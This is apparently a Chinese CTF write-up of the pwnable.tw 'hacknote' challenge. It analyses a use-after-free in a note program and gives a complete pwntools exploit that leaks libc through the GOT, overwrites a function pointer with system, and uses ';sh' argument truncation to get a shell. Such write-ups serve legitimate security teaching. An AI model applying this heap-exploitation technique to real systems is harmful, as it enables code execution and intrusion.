pwnable.tw之hacknote

uaf-利用

Posted by b0ldfrev on July 20, 2018

0x00 代码分析

1,检查保护

1
2
3
4
5
6
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

2,使用IDA分析程序流程

main 函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __cdecl __noreturn main()
{
  int v0;  #eax
  char buf;   #[esp+8h] [ebp-10h]
  unsigned int v2;   #[esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_8048956();
      read(0, &buf, 4u);
      v0 = atoi(&buf);
      if ( v0 != 2 )
        break;
      sub_80487D4();
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        sub_80488A5();
      }
      else
      {
        if ( v0 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v0 != 1 )
        goto LABEL_13;
      sub_8048646();
    }
  }
}

读入你输入的选项,然后执行对应的函数

Add 函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int sub_8048646()
{
  _DWORD *v0;  #ebx
  signed int i;    #[esp+Ch] [ebp-1Ch]
  int size;   #[esp+10h] [ebp-18h]
  char buf;  #[esp+14h] [ebp-14h]
  unsigned int v5;  #[esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !ptr[i] )
      {
        ptr[i] = malloc(8u);
        if ( !ptr[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)ptr[i] = sub_804862B;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = ptr[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)ptr[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)ptr[i] + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

这里分析出来一个结构体

1
2
3
4
5
6
7
8
# -*- coding: utf-8 -*-
struct note{

            *func       #指向打印函数0x080462b的指针

            *msg_ptr   #指向note内容的指针

}

Delete 函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int sub_80487D4()
{
  int v1; #[esp+4h] [ebp-14h]
  char buf; #[esp+8h] [ebp-10h]
  unsigned int v3; #[esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*((void **)ptr[v1] + 1));
    free(ptr[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

print 函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int sub_80488A5()
{
  int v1;  #[esp+4h] [ebp-14h]
  char buf;  #[esp+8h] [ebp-10h]
  unsigned int v3;  #[esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
    (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
  return __readgsdword(0x14u) ^ v3;
}

该函数最后调用了func指针指向的函数,根据Add函数中的赋值,这个函数应该是sub_804862B

sub_804862B 函数分析

1
2
3
4
int __cdecl sub_804862B(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

该函数的功能就是输出msg_ptr指向内存区域的内容。

0x01 漏洞分析

在delete函数中,在释放指针之后没有将其赋值为空,这样会引起UAF

UAF(use after free)释放重用漏洞,漏洞原理,释放后的指针没有赋值为空,在其他地方再次申请到这块内存并改变其的内容,而再次使用到之前释放后的指针,就会造成程序的结果变得不正确。如果这个释放的指针中有函数指针等重要数据,同时在其他的地方修改成精心构造的数据,就可能泄露数据,甚至劫持控制流。

0X02 漏洞利用

根据对程序的静态分析,我们了解到程序首先会申请一个8字节大小的堆块来存储函数指针和字符串指针,根据上面的知识我们知道这个堆块是属于fastbin的,同时程序还会分配一个我们自定义大小的堆块。所以我们连续分配两个fastbin的内存并释放(但是内容的大小不能是8字节,不然会分配 4个 16字节的fast bin)。

1
2
3
4
add(40,'a'39)
add(40,'b'*39)
delete(0)
delete(1)

这样的话fastbin 0x10大小的块中内容是这样的,分别是free的两个mem为8byte大小chunk

pic1

这样的话再调用add并分配8字节大小的内存区域来储存字符串,这里字符串用特殊的payload 0x804862b为打印函数的地址 0x0804A018为free函数的got表地址,在IDA中got.plt段可以找到

1
add(8,p32(0x804862b)+p32(0x0804A018))

关键的一部,此处调用完add后 新note的结构体地址会直接从fasbin 0x10区域头的note1分配(根据fatbin LIFO原则) ,并且msg_ptr指向的堆内存是note0。如下图

pic2

所以我们成功覆盖了被释放掉的note0的结构体。当我们再次调用sub_804862B函数时就会,打印出0x0804A018(free函数got表)内储存的free函数真实地址。

1
2
 puts(0)
 free_addr=u32(p.recv(4))

leak出free函数的地址后根据提供的目标系统libc文件便可以得到目标系统system函数的地址。

1
system_addr=read_addr-(libc_read_addr-libc_system_addr)

得到system_addr后释放note(2)并重新申请新note写入system地址与参数,并调用puts执行system,这里有个限制,就是参数必须为4byte,但是/bin/sh有8byte,要用到system参数截断的姿势如 : “;$0” “;sh” “||sh”

payload如下

1
2
3
delete(2)
add(8,p32(system_addr)+';sh')
put(0)

0x03 完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

def add(size,data):
    p.recvuntil('Your choice :')
    p.sendline('1')     
    p.recvuntil('Note size :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.sendline(data)
 
def delete(index):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
 
def puts(index):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))

p=process('./hacknote')
libc=ELF('/lib/i386-linux-gnu/libc-2.27.so')
libc_free_addr=libc.symbols['free']
libc_system_addr=libc.symbols['system']
add(40,'a'*39)
add(40,'b'*39)
delete(0)
delete(1)
add(8,p32(0x804862b)+p32(0x0804A018))
puts(0)
free_addr=u32(p.recv(4))
system_addr=free_addr-(libc_free_addr-libc_system_addr)
delete(2)
add(8,p32(system_addr)+';$0')
puts(0)
p.interactive()

文件下载